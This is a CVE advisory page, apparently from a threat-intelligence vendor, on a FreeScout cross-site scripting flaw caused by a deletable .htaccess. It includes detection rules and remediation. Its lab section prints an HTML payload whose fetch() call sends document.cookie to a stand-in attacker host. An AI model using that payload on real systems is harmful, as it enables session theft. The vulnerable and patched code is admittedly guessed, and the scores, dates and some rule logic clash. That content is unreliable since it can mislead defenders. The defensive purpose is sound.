☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-48488

CVE-2025-48488 Cross-Site Scripting in Freescout
📅 PUBLISHED: 2025-05-30 06:30 UTC 🔄 UPDATED: 2026-09-23 20:34 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-48488 is a Cross-Site Scripting (XSS) vulnerability in FreeScout, a self-hosted help desk and shared mailbox application. The vulnerability arises from the ability to delete the .htaccess file, which normally restricts the types of files that can be uploaded. Without this protection, an attacker can upload an HTML file containing malicious JavaScript code. When this file is accessed, the JavaScript executes in the context of the victim's browser, leading to potential session hijacking, data theft, or further compromise. The vulnerability affects all versions prior to 1.8.180. The patch is available in version 1.8.180.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

FreeScout is a PHP-based application. The vulnerability is not in a third-party package but in the application's own file upload handling logic. The .htaccess file is a server configuration file used by Apache to restrict access to the uploads directory. Its deletion removes the restriction, allowing arbitrary file uploads. This is a configuration and logic flaw, not a supply chain issue.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the vulnerability description, a reasonable assessment is:

  • Attack Vector (AV): Network (N) - The attacker can upload the malicious file remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - The attacker needs to be authenticated to delete the .htaccess file and upload files.
  • User Interaction (UI): Required (R) - The victim must access the uploaded HTML file.
  • Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component (e.g., the victim's browser).
  • Confidentiality (C): Low (L) - Limited data exposure.
  • Integrity (I): Low (L) - Limited ability to modify data.
  • Availability (A): None (N) - No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N Estimated Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication and user interaction, but the impact can be significant if an attacker can trick an admin into accessing the malicious file.

Deep Dive & Mechanics

The vulnerability is rooted in the file upload functionality of FreeScout. The application uses an .htaccess file in the uploads directory to restrict the types of files that can be executed. This file typically contains directives like:

<FilesMatch "\.(php|php5|phtml|inc)$">
    Deny from all
</FilesMatch>

This prevents PHP files from being executed if uploaded. However, an attacker with sufficient privileges (e.g., an agent or admin) can delete this .htaccess file. Once deleted, the restriction is removed, and the attacker can upload an HTML file containing malicious JavaScript.

The attack flow is:

  1. Authentication: The attacker logs in as a user with permission to manage files (e.g., an agent).
  2. Delete .htaccess: The attacker deletes the .htaccess file from the uploads directory.
  3. Upload Malicious File: The attacker uploads an HTML file containing JavaScript (e.g., xss.html).
  4. Trigger XSS: The attacker sends a link to the uploaded file to a victim (e.g., an admin). When the victim accesses the file, the JavaScript executes in their browser.

The JavaScript can perform actions such as:

  • Stealing session cookies.
  • Performing actions on behalf of the victim (e.g., creating new admin accounts).
  • Defacing the application.
  • Redirecting to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.8.180):

The vulnerable code likely does not check for the existence of the .htaccess file before allowing uploads, or it allows the deletion of the .htaccess file without proper authorization.

// Vulnerable: No check for .htaccess existence
function uploadFile($file) {
    // ... upload logic ...
    move_uploaded_file($file['tmp_name'], $uploadPath);
}

Patched Code (1.8.180):

The patched code likely:

  • Prevents deletion of the .htaccess file.
  • Re-creates the .htaccess file if it is missing.
  • Validates uploaded file types regardless of the .htaccess file.
// Patched: Ensure .htaccess exists
function ensureHtaccess() {
    $htaccessPath = storage_path('app/public/.htaccess');
    if (!file_exists($htaccessPath)) {
        file_put_contents($htaccessPath, "Deny from all\n");
    }
}

function uploadFile($file) {
    ensureHtaccess();
    // ... upload logic with file type validation ...
    $allowedTypes = ['image/jpeg', 'image/png', 'application/pdf'];
    if (!in_array($file['type'], $allowedTypes)) {
        throw new Exception('Invalid file type');
    }
    move_uploaded_file($file['tmp_name'], $uploadPath);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A running instance of FreeScout version < 1.8.180.
  • An authenticated user account with file upload permissions (e.g., an agent).

Steps:

  1. Login: Log in to FreeScout as an agent.
  2. Delete .htaccess: Navigate to the file manager and delete the .htaccess file from the uploads directory.
  3. Create Malicious HTML: Create a file named xss.html with the following content:
<html>
<body>
<script>
    alert('XSS');
    // Steal cookies
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
</body>
</html>
  1. Upload File: Upload xss.html to the uploads directory.
  2. Trigger: Send the link to the uploaded file (e.g., https://victim.com/storage/xss.html) to an admin user.

Blue Team (Defense & Detection)

Detection:

  • Monitor for deletion of .htaccess files in the uploads directory.
  • Monitor for uploads of HTML files to the uploads directory.
  • Monitor for unusual file types in the uploads directory.

Prevention:

  • Ensure the .htaccess file is immutable (e.g., using file permissions).
  • Implement file type validation on the server side, regardless of the .htaccess file.
  • Use a Web Application Firewall (WAF) to block malicious file uploads.

Indicators of Compromise (IOCs)

  • File: .htaccess file missing from the uploads directory.
  • File: Presence of HTML files in the uploads directory (e.g., xss.html, evil.html).
  • Logs: Access logs showing requests to /storage/*.html.
  • Network: Outbound connections to attacker-controlled domains from the FreeScout server.

Detection Engineering

YARA Rule

rule Detect_FreeScout_XSS_Upload {
    meta:
        description = "Detects HTML files uploaded to FreeScout storage directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48488"
    strings:
        $html_marker = "<html" nocase
        $script_marker = "<script" nocase
    condition:
        $html_marker and $script_marker and filesize < 100KB
}

Sigma Rule

title: FreeScout .htaccess Deletion or HTML Upload
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects deletion of .htaccess or upload of HTML files in FreeScout
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection_htaccess:
        TargetFilename|endswith: '.htaccess'
        EventID: 11  # File deletion
    selection_html:
        TargetFilename|endswith: '.html'
        EventID: 11  # File creation
    condition: selection_htaccess or selection_html
falsepositives:
    - Legitimate file management by admins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FreeScout XSS - HTML file upload to storage"; flow:to_server,established; content:"POST"; http_method; content:"/storage/"; http_uri; content:".html"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Upgrade FreeScout to version 1.8.180 or later.
  2. Restore .htaccess: If the .htaccess file is missing, recreate it with the appropriate restrictions.
  3. Review Uploads: Scan the uploads directory for any suspicious HTML files and remove them.

Long-Term Mitigations:

  • Implement file type validation on the server side.
  • Use a WAF to block malicious file uploads.
  • Regularly audit file permissions and configurations.
  • Monitor for file deletions and unusual uploads.

Valters IT Signature

This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters.it.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-48488/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.